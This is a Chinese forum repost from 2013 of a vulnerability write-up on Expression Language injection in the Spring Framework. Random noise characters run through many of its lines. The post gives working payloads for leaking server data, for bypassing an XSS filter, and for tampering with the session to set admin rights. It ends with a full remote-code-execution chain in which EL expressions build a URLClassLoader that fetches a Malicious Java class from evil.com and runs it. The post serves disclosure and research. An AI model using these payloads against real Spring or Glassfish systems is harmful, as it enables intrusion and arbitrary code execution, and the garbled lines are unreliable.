找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2276|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
Remote Code with2 [7 V; W/ x4 W( e' {" Q
Expression Language Injection7 k) z. j& p, N) X% L3 x2 I9 Y0 K" C7 Z
Spring Framework脆弱性—DanAmodio8 w( d# w1 V9 `5 d" \; P
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中; H- N" |  ~1 c, k* E0 B
可能会存在风险。1 M- D0 Q. B; D9 \$ R
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的; X2 H1 Y) ?2 q4 n8 b9 P
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可* E( D2 Y7 T- o4 k6 |' i
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
7 S4 m% s& x) l  E以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
/ O1 F# ^: T5 W- W版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。' l9 L7 t9 D* j8 ~4 k
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但4 K/ b1 K. [2 K( R1 x& @5 Z7 L, z$ S
我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版2 f' _. Y2 W  B3 C0 T' N6 F! Y- b
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。
4 s* a9 U- c- K$ w: n& Z, d0 D这些版本不支持禁用double EL resolution.
$ U: `' w* P: P! y- X2 `这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
# f' ?, \4 M# _: _8 @EL2.2容器上可能进行远程代码执行。
+ o% Q, E4 u  f4 {5 [这是一个原始信息泄露的攻击例子:" v% b- s9 G7 o6 F8 N
请求:
( D/ [  p/ I& c, c3 d+ ^$ X' _ttp://vulnerable.com/foo?message=${applicationScope}
. c/ y0 B# W8 c$ J0 N到达以下内容页面:. O2 G" j+ T+ g( l: S. a
结果将输出一些包含内部服务器信息calsspath 和本地工作目录0 O9 Q2 G7 H" ^  w' f2 \( Q: ?( z$ Y- y
你也可以做一些其他事情,如这样:
+ X* n9 ~( b0 R- o% M6 ]${9999+1}# }: w  n" a, N& j$ ]% H* h
还可以访问session 对象和beans9 a1 F! P- r) k. _) I) d, D
${employee.lastName}
% L2 @  E" f" R$ P4 i9 I在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是4 l( _2 {: `7 y3 e- m! W. i
EL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东! y" K0 H) Q. b6 X2 {8 J. V! D! _
西,比如XSS.+ W. F! A. t: F* w" A- r4 @0 j
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签
! [& G4 Z% `  [& h) q突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤
4 O# s5 h+ ^& D2 z呢?”: S) m8 |) H" i: E" y
因此,我尝试巳缦拢�
& q) ~4 X- [0 {http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
% U  ?+ R1 x! }' M# VP
9 n9 V2 _( `9 _我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返2 Z7 g3 T' `. x
回的文本被插入进了spring:message 标签。3 u2 R1 [' k/ v
这里是一个最终绕过过滤的实例:$ M6 q) c; J9 o/ n3 L
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
3 H! p+ A* l- i3 c* U8 m4 e. }/ a它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为4 D9 Q! f: u% C5 o* v
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?& N8 Y5 C0 C" H8 N
经过一番研究,我学习到EL2.2 增加了方法调用。1 |; b& R( R6 R' d
我写了一个快速测试应用程序代码并且检测一些功能
. Y3 G, P5 l$ ^! _0 F1 }2 Q${pageContext.request.getSession().setAttribute(“account”,”123456″)}
! W0 L) I: m4 b( v/ u${pageContext.request.getSession().setAttribute(“admin”,true)}/ J# a$ K6 G5 S6 a' m9 `0 f
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的
: i; e, x. L8 G指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?
6 `" r, {) H# p2 b! f4 Z9 u${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
" U4 q( g' i! e, k3 S“, 1234)}; Z# F& w% }0 P) s
${“”.getClass().forName(“java.lang.Runtime”)}( h3 e9 K; U9 H
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
' w% a( z' T" d; u+ y/ M( {9 `8 z可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函; W/ z: W; T4 ]
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有2 t  `: A% \: _6 m
一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于6 F! y6 {( U& g1 o) `: K0 ~
方法签名invoke(Object obj, Object„ args)+ v% O! N, i8 J; M2 _5 N2 j. `8 P
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问0 Z- v+ T: Y' N- p6 X; N& d
题,以让它可以工作起来。& Y& r0 w' r, ]$ u
漏洞利用:7 X; f$ D: L: L, B4 b5 D: B
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
4 ^0 o0 G: t5 i8 t% p7 ?希望你们中的一些JAVA奇才告诉我我是如此的可笑。9 R) M; C7 B% o! P% C
这里有一些我试过的失败的用例,为了试图让它工作的用例:1 ?6 P* y: Y* I& V
 写文件到文件系统
+ V4 k! N4 c* R. ^, ] 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.; e  L' J2 ]4 p. h( j6 e' [
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
; s! u9 Y1 L1 \${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}2 {- @5 v" g7 j3 ?" B9 w
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:1 v- g+ I7 t- a1 E
org.springframework.expression.spel.standard.SpelExpressionParser not found3 H3 ^4 Y3 q' d" {/ p. o
by8 W; g* n2 O3 C: J5 l: j* f) D  S
org.glassfish.web.javax.servlet.jsp [194].
8 }. g' K" I0 `: j# f: g 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public
7 I+ ^) v3 m9 D( C- T6 p6 v1 G 利用反射来创建一个新的Runtime(and watch the world burn)
- L% T6 \! S7 s+ S${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName
/ _3 B8 d1 U6 \. m(“java.lang.Runtime”)).getDeclaredConstructors()[0])}; c) y1 x5 T& O4 j0 T
${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}9 P0 t3 c: p' N( `
 使用java.lang.ProcessBuilder% [) V8 v& Z6 ~( i6 E( o
 用表达式语言来评估表达式语言
0 U8 C9 k/ ]( }Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.0 Y% Q; s+ @$ @' m* i2 ]
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request
2 G7 d- [$ u9 n1 o1 g- d7 x, v* M“,”".getClass(),null)}
2 @0 r6 W9 ?6 L9 w; b+ Y1 t 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)/ a: Q3 X  [& u4 A$ e) ^$ f
我在使用一个空数组通过Method.invoke()时失败了很多次
; E. I$ O* B: ^7 X8 j" N' Z“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo. q  _7 R; z& s( Z
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A5 O4 R) f9 D- j; Y" n+ i1 p
rrayList”).newInstance().toArray())
3 B: F" [/ s) P* R! T5 O) w8 s& Qjava.lang.IllegalArgumentException: wrong number of arguments9 b! B7 e1 }" `, U: H6 c" ?
最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
/ ^2 W& e3 m3 ]! ?+ z7 b+ Z1 M; N2 t以创建一个恶意class文件并且指向类装载器.
! c7 M5 \" T5 |3 [我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:0 Z" ?5 d& q: Q3 V8 w
public class Malicious {/ T! U8 w  R! D2 g4 a6 |
public Malicious() {; m5 W1 W8 D2 m  d* R
try {
+ m. W! O; d/ E% T  }java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
+ d$ G( E* V9 `* w" }& ejava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win0 k6 \* s5 R( z, R
} catch (Exception e) {
" P2 _! J( ?2 C1 j* y) h$ n0 L}& ]9 u# s, {! P/ }( H5 P6 l
}4 z/ T1 e! b1 N- A0 d
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
( U" l- @8 X" r% F8 T) G! F6 v. A话中,因此它可以被使用.
/ p1 Z; e9 [& B4 L  P" F/ H${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
6 U2 }8 T4 X, M(“java.util.ArrayList”).newInstance())}
' j; O8 ]6 M, I) Y' B, \URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建
. {$ L0 C( T% {4 M; i一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和
  k5 f: E0 u( t* CgetResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个) |3 m. r" T3 c
我们可以调用的create(string)方法,然后转换对一个URL对象。0 y: F6 y$ `$ @5 G. O" b
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
& T) u0 f$ m3 g+ e8 C* N1 Uere/malicious/classfile/is/located/”).toURL())}
2 l4 b2 v, V2 f9 v- I$ m* E然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,& Z8 R1 S/ G! W+ x
恶意类文件被装载并创建,触发远程代码.7 T* O  L# g, H! z+ B
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte( S8 i  _* e# J4 X
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().5 h- N. l; b; D( w( h, }. N
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance7 r& Y. `$ s& _" X5 i- h
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表